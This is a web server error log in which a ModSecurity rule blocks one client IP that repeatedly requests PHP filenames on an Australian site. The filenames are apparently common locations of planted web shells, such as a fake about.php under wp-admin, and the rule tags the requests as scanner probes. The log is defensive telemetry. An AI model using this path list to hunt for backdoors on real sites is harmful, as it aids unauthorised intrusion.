[Fri Jan 02 07:32:35.490595 2026] [:error] [pid 63098:tid 63109] [client 172.161.146.188:14592] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aVcEE8ez9k78gUs48kq0iwAAAAI"]
[Fri Jan 02 07:32:36.121120 2026] [:error] [pid 63098:tid 63131] [client 172.161.146.188:5064] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aVcEFMez9k78gUs48kq0jgAAABg"]
[Fri Jan 02 07:32:36.686984 2026] [:error] [pid 63208:tid 63211] [client 172.161.146.188:14654] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aVcEFHKLI9INGPLzfnew_QAAAMA"]
[Fri Jan 02 07:32:37.256810 2026] [:error] [pid 63098:tid 63116] [client 172.161.146.188:14621] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aVcEFcez9k78gUs48kq0lAAAAAk"]
[Fri Jan 02 07:32:37.787777 2026] [:error] [pid 63208:tid 63216] [client 172.161.146.188:4881] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aVcEFXKLI9INGPLzfnexAwAAAMU"]
[Fri Jan 02 07:32:38.367356 2026] [:error] [pid 63208:tid 63231] [client 172.161.146.188:14596] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aVcEFnKLI9INGPLzfnexBQAAANQ"]
[Fri Jan 02 07:32:38.909833 2026] [:error] [pid 63100:tid 63176] [client 172.161.146.188:5112] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aVcEFjuUXUKd3KTnKl_AFwAAAI8"]
[Fri Jan 02 07:32:39.480184 2026] [:error] [pid 63100:tid 63179] [client 172.161.146.188:4942] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aVcEFzuUXUKd3KTnKl_AGgAAAJI"]
[Fri Jan 02 07:32:40.622734 2026] [:error] [pid 63099:tid 63156] [client 172.161.146.188:14607] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aVcEGMmCZokRPYUhzvg5hwAAAFY"]
[Fri Jan 02 07:32:41.158650 2026] [:error] [pid 63208:tid 63229] [client 172.161.146.188:4964] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aVcEGXKLI9INGPLzfnexCgAAANI"]
[Fri Jan 02 07:32:41.743908 2026] [:error] [pid 63208:tid 63227] [client 172.161.146.188:14682] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aVcEGXKLI9INGPLzfnexCwAAANA"]
[Fri Jan 02 07:32:42.563080 2026] [:error] [pid 63208:tid 63211] [client 172.161.146.188:14686] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aVcEGnKLI9INGPLzfnexEQAAAMA"]
[Fri Jan 02 07:32:43.141540 2026] [:error] [pid 63098:tid 63129] [client 172.161.146.188:14707] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aVcEG8ez9k78gUs48kq0pAAAABY"]
[Fri Jan 02 07:32:43.874726 2026] [:error] [pid 63099:tid 63138] [client 172.161.146.188:14716] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aVcEG8mCZokRPYUhzvg5lAAAAEQ"]
[Fri Jan 02 07:32:44.427217 2026] [:error] [pid 63100:tid 63184] [client 172.161.146.188:14671] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aVcEHDuUXUKd3KTnKl_AHgAAAJc"]
[Fri Jan 02 07:32:44.932038 2026] [:error] [pid 63098:tid 63124] [client 172.161.146.188:14625] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aVcEHMez9k78gUs48kq0qAAAABE"]
[Fri Jan 02 07:32:45.509873 2026] [:error] [pid 63098:tid 63116] [client 172.161.146.188:4963] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aVcEHcez9k78gUs48kq0qwAAAAk"]
[Fri Jan 02 07:32:46.052047 2026] [:error] [pid 63099:tid 63136] [client 172.161.146.188:4994] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aVcEHsmCZokRPYUhzvg5mwAAAEI"]
[Fri Jan 02 07:32:46.546500 2026] [:error] [pid 63100:tid 63176] [client 172.161.146.188:14616] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aVcEHjuUXUKd3KTnKl_AJQAAAI8"]
[Fri Jan 02 07:32:47.140081 2026] [:error] [pid 63100:tid 63182] [client 172.161.146.188:14709] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aVcEHzuUXUKd3KTnKl_AKAAAAJU"]
[Fri Jan 02 07:32:47.675296 2026] [:error] [pid 63100:tid 63167] [client 172.161.146.188:14599] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aVcEHzuUXUKd3KTnKl_ALAAAAIY"]
[Fri Jan 02 07:32:48.294859 2026] [:error] [pid 63208:tid 63221] [client 172.161.146.188:4878] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aVcEIHKLI9INGPLzfnexGwAAAMo"]
[Fri Jan 02 07:32:49.023175 2026] [:error] [pid 63208:tid 63213] [client 172.161.146.188:5032] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aVcEIXKLI9INGPLzfnexHQAAAMI"]
[Fri Jan 02 07:32:49.581166 2026] [:error] [pid 63098:tid 63112] [client 172.161.146.188:4869] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aVcEIcez9k78gUs48kq0sAAAAAU"]
[Fri Jan 02 07:32:50.732658 2026] [:error] [pid 63208:tid 63232] [client 172.161.146.188:14661] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aVcEInKLI9INGPLzfnexJQAAANU"]
[Fri Jan 02 07:32:51.489099 2026] [:error] [pid 63208:tid 63235] [client 172.161.146.188:4914] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aVcEI3KLI9INGPLzfnexKgAAANg"]
[Fri Jan 02 07:32:52.436858 2026] [:error] [pid 63100:tid 63175] [client 172.161.146.188:5036] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVcEJDuUXUKd3KTnKl_ANQAAAI4"]
[Fri Jan 02 07:32:53.480844 2026] [:error] [pid 63098:tid 63130] [client 172.161.146.188:5026] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVcEJcez9k78gUs48kq0vAAAABc"]
[Fri Jan 02 07:32:54.014805 2026] [:error] [pid 63098:tid 63121] [client 172.161.146.188:14597] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVcEJsez9k78gUs48kq0vgAAAA4"]
[Fri Jan 02 07:32:54.584097 2026] [:error] [pid 63100:tid 63161] [client 172.161.146.188:4999] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVcEJjuUXUKd3KTnKl_APgAAAIA"]
[Fri Jan 02 07:32:55.383469 2026] [:error] [pid 63208:tid 63222] [client 172.161.146.188:5096] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aVcEJ3KLI9INGPLzfnexMgAAAMs"]
[Fri Jan 02 07:32:56.096795 2026] [:error] [pid 63098:tid 63113] [client 172.161.146.188:4980] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aVcEKMez9k78gUs48kq0wAAAAAY"]
[Fri Jan 02 07:32:57.100676 2026] [:error] [pid 63100:tid 63180] [client 172.161.146.188:14679] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aVcEKTuUXUKd3KTnKl_ARQAAAJM"]
[Fri Jan 02 07:32:58.383982 2026] [:error] [pid 63099:tid 63146] [client 172.161.146.188:4952] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aVcEKsmCZokRPYUhzvg5rQAAAEw"]
[Fri Jan 02 07:32:59.305309 2026] [:error] [pid 63099:tid 63139] [client 172.161.146.188:14612] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aVcEK8mCZokRPYUhzvg5rgAAAEU"]
[Fri Jan 02 07:33:00.584681 2026] [:error] [pid 63100:tid 63179] [client 172.161.146.188:14652] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aVcELDuUXUKd3KTnKl_ATgAAAJI"]
[Fri Jan 02 07:33:01.518032 2026] [:error] [pid 63100:tid 63175] [client 172.161.146.188:14609] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aVcELTuUXUKd3KTnKl_AUgAAAI4"]
[Fri Jan 02 07:33:02.625101 2026] [:error] [pid 63100:tid 63180] [client 172.161.146.188:5110] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aVcELjuUXUKd3KTnKl_AVQAAAJM"]
[Fri Jan 02 07:33:03.231803 2026] [:error] [pid 63098:tid 63128] [client 172.161.146.188:14718] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVcEL8ez9k78gUs48kq0zgAAABU"]
[Fri Jan 02 07:33:03.878316 2026] [:error] [pid 63098:tid 63107] [client 172.161.146.188:5048] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVcEL8ez9k78gUs48kq00AAAAAA"]
[Fri Jan 02 07:33:04.549211 2026] [:error] [pid 63100:tid 63179] [client 172.161.146.188:4984] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVcEMDuUXUKd3KTnKl_AXgAAAJI"]
[Fri Jan 02 07:33:05.318380 2026] [:error] [pid 63099:tid 63152] [client 172.161.146.188:5015] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVcEMcmCZokRPYUhzvg5tAAAAFI"]
[Fri Jan 02 07:33:05.932372 2026] [:error] [pid 63098:tid 63123] [client 172.161.146.188:14670] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aVcEMcez9k78gUs48kq01gAAABA"]
[Fri Jan 02 07:33:06.564366 2026] [:error] [pid 63099:tid 63140] [client 172.161.146.188:14660] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aVcEMsmCZokRPYUhzvg5tgAAAEY"]
[Fri Jan 02 07:33:07.250868 2026] [:error] [pid 63208:tid 63213] [client 172.161.146.188:14700] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aVcEM3KLI9INGPLzfnexSQAAAMI"]
[Fri Jan 02 07:33:07.939741 2026] [:error] [pid 63099:tid 63154] [client 172.161.146.188:4961] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aVcEM8mCZokRPYUhzvg5ugAAAFQ"]
[Fri Jan 02 07:33:08.592351 2026] [:error] [pid 63098:tid 63126] [client 172.161.146.188:4985] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aVcENMez9k78gUs48kq03QAAABM"]
[Fri Jan 02 07:33:09.365758 2026] [:error] [pid 63098:tid 63121] [client 172.161.146.188:14701] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aVcENcez9k78gUs48kq05QAAAA4"]
[Fri Jan 02 07:33:09.953678 2026] [:error] [pid 63100:tid 63170] [client 172.161.146.188:14617] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aVcENTuUXUKd3KTnKl_AaAAAAIk"]
[Fri Jan 02 07:33:10.761701 2026] [:error] [pid 63100:tid 63184] [client 172.161.146.188:4899] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aVcENjuUXUKd3KTnKl_AawAAAJc"]
[Fri Jan 02 07:33:11.408207 2026] [:error] [pid 63098:tid 63107] [client 172.161.146.188:5061] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aVcEN8ez9k78gUs48kq06gAAAAA"]
[Fri Jan 02 07:33:12.484400 2026] [:error] [pid 63098:tid 63119] [client 172.161.146.188:5035] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aVcEOMez9k78gUs48kq07QAAAAw"]
[Fri Jan 02 07:33:13.445077 2026] [:error] [pid 63099:tid 63148] [client 172.161.146.188:14605] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aVcEOcmCZokRPYUhzvg55QAAAE4"]
[Fri Jan 02 07:33:14.231926 2026] [:error] [pid 63208:tid 63223] [client 172.161.146.188:4962] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aVcEOnKLI9INGPLzfnexVAAAAMw"]
[Fri Jan 02 07:33:14.934621 2026] [:error] [pid 63208:tid 63229] [client 172.161.146.188:4804] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aVcEOnKLI9INGPLzfnexWAAAANI"]
[Fri Jan 02 07:33:15.552754 2026] [:error] [pid 63208:tid 63216] [client 172.161.146.188:14715] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aVcEO3KLI9INGPLzfnexXQAAAMU"]
